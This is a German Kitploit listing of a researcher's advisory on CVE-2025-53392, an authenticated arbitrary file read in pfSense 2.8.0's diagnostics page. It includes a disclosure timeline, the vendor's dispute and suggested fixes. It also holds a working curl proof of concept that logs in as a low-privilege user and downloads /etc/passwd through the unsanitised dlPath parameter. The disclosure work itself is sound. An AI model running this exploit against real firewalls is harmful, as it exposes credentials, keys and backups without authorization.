Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pfsense-security-research — Authentifiziertes Lesen beliebiger Dateien in pfSense 2.8.0 über die Diagnose-Weboberfläche (CVE-2025-53392) | Kitploit
Tools/GitHubGitHub/skraft9/pfsense-security-research
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed Teaming
GitHubskraft9/pfsense-security-research

pfsense-security-research

Authentifiziertes Lesen beliebiger Dateien in pfSense 2.8.0 über die Diagnose-Weboberfläche (CVE-2025-53392)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
14vor 7 MonatenNoch nicht geprüft

Authentifiziertes Beliebiges Dateilesen in pfSense 2.8.0 über die Diagnostics-Weboberfläche

CVE-ID: CVE-2025-53392

Datum: 2025-06-27

Autor: Seth Kraft

Anbieter-Homepage: https://www.netgate.com/

Anbieter-Changelog: https://docs.netgate.com/pfsense/en/latest/releases/

Software-Link: https://www.pfsense.org/download/

Version: pfSense CE 2.8.0

CWE-ID: CWE-36 (Absolute Path Traversal)

CVSS-Basisscore: 6,5 (Mittel)

Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Typ: Authentifiziertes Beliebiges Dateilesen / Offenlegung lokaler Dateien


Autorisierung

Nur für autorisierte Tests und Forschungszwecke. Testen oder nutzen Sie diese Schwachstelle nicht auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.


Zusammenfassung

pfSense CE 2.8.0 enthält eine Schwachstelle zur Offenlegung lokaler Dateien auf der Diagnoseseite diag_command.php, die es authentifizierten Benutzern ermöglicht, beliebige Dateien vom zugrunde liegenden Dateisystem herunterzuladen.

Diese Funktion verfügt über keinerlei Pfadbereinigung, Verzeichnisbeschränkung oder Zugriffskontrollen, die über die reine Rechtevergabe hinausgehen.


Details

Die verwundbare Logik befindet sich in der Datei src/usr/local/www/diag_command.php:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

Es gibt keine Sicherheitsprüfungen oder Bereinigungsmaßnahmen für den benutzergesteuerten Parameter dlPath.

Jeder Dateipfad, den der PHP-Prozess lesen kann, wird an den Benutzer zurückgegeben.


Proof of Concept

Gruppe low-priv erstellen und eine einzelne Berechtigung zuweisen (WebCfg - Diagnostics: Command) Screenshot 2025-06-27 133201

Ich erkenne das Vorhandensein eines Sicherheitshinweises für die Berechtigung WebCfg - Diagnostics: Command an, aber Hinweise allein ersetzen keine solide Zugriffskontrolle.

Der Satz „Allow access to the Diagnostics Command page“ ist mehrdeutig und verharmlost das Risiko: Er ermöglicht uneingeschränkte Root-Level-Befehlsausführung, nicht nur Diagnosezugriff.

Berechtigungskennzeichnungen in einer Weboberfläche müssen den Umfang und die Schwere der Aktionen, die sie erlauben, genau widerspiegeln, insbesondere wenn sie volle administrative Kontrolle freigeben.

Gruppe low-priv dem Benutzer dev zuweisen Screenshot 2025-06-27 133218

Dieses Proof of Concept zeigt, dass ein Benutzer, dem ausschließlich die Berechtigung WebCfg - Diagnostics: Command zugewiesen wurde, /etc/passwd durch Missbrauch des nicht bereinigten Parameters dlPath exfiltrieren kann.

root@kitploit:~
# 1. Sitzung starten und CSRF-Token extrahieren
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Als Benutzer mit niedrigen Rechten "dev" authentifizieren
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. CSRF-Token nach dem Login abrufen
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Beliebige Datei exfiltrieren (Beispiel: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

Demo

pfSense-authenticated-file-disclosure-poc


Auswirkungen

Jeder pfSense-Benutzer mit der Berechtigung WebCfg - Diagnostics: Command kann:

  • Vertrauliche lokale Systemdateien lesen
  • Backups, Anmeldedaten und Schlüssel extrahieren
  • Auf Dateien zugreifen, die weit über seine vorgesehenen Berechtigungen hinausgehen

Dies verstößt gegen das Prinzip der geringsten Rechte und durchbricht logische Berechtigungsgrenzen.


Vorgeschlagene Abhilfemaßnahmen

  1. dlPath mithilfe von realpath() und Präfixprüfung auf ein sicheres Basisverzeichnis (z. B. /tmp) beschränken
  2. Pfade mit .. oder absolute Pfade blockieren oder entfernen
  3. Nur Downloads von Dateien aus einer Whitelist oder einem Verzeichnis für temporäre Artefakte zulassen

Offenlegungszeitplan

  • 2025-06-26: Schwachstelle an Netgate gemeldet
  • 2025-06-27: Netgate antwortete und wies das Problem als beabsichtigtes Verhalten zurück
  • 2025-06-27: Forscher antwortete mit technischer Gegenargumentation, Anbieter bekräftigte die Zurückweisung
  • 2025-06-27: Forscher leitete aufgrund der endgültigen Zurückweisung durch den Anbieter die öffentliche Offenlegung ein und beantragte die CVE-Vergabe bei MITRE
  • 2025-06-28: MITRE vergab CVE-2025-53392 mit dem Tag „vendor disputed“

Antwort von Netgate

Während der Anbieter behauptet, dass der Zugriff auf diese Seite Root-Zugriff gleichkommt, vermischt dies Berechtigungen auf Webebene mit uneingeschränktem Backend-Zugriff.

Berechtigungen sollten technisch erzwungen (nicht vorausgesetzt) werden, und Warnhinweise in der Benutzeroberfläche sind kein Ersatz für sicheres Design.


Ich stelle die Behauptung des Anbieters in Frage, dass diese Funktion „gut dokumentiert“ sei – ich fand in der Dokumentation zu Benutzerrechten von pfSense keinen Hinweis darauf, dass die Berechtigung WebCfg - Diagnostics: Command einem Root-Level-Zugriff entspricht. Screenshot 2025-06-28 235613


Der Anbieter könnte sich auf die Seite „Diagnostics Command“ bezogen haben, die eine allgemeine Warnung vor Missbrauch enthält.

Die Dokumentation verknüpft diese Funktion jedoch nicht ausdrücklich mit der Berechtigung WebCfg - Diagnostics: Command und stellt auch nicht klar, dass sie Root-Level-Zugriff gewährt.


Sicherheitserwartungen an Diagnose-Schnittstellen

Das Diagnosemodul in der Weboberfläche einer Firewall sollte angemessene Sicherheitsvorkehrungen enthalten, um Missbrauch gegen das zugrunde liegende Betriebssystem zu verhindern.

  • Diagnosebefehle sollten funktional auf Ping, Traceroute, Protokollanzeige usw. beschränkt sein.
  • Befehle sollten in einer eingeschränkten Shell oder chroot-Umgebung ausgeführt werden.
  • Dateizugriff sollte ausdrücklich auf sichere Verzeichnisse (/tmp, /var/log) begrenzt sein.
  • Berechtigungen sollten feingranular und in ihrem Umfang eindeutig sein.

Haftungsausschluss

Diese Arbeit wurde außerhalb meines Beschäftigungsverhältnisses durchgeführt und spiegelt meine persönlichen Bemühungen in der Cybersicherheitsforschung wider.


Tool herunterladen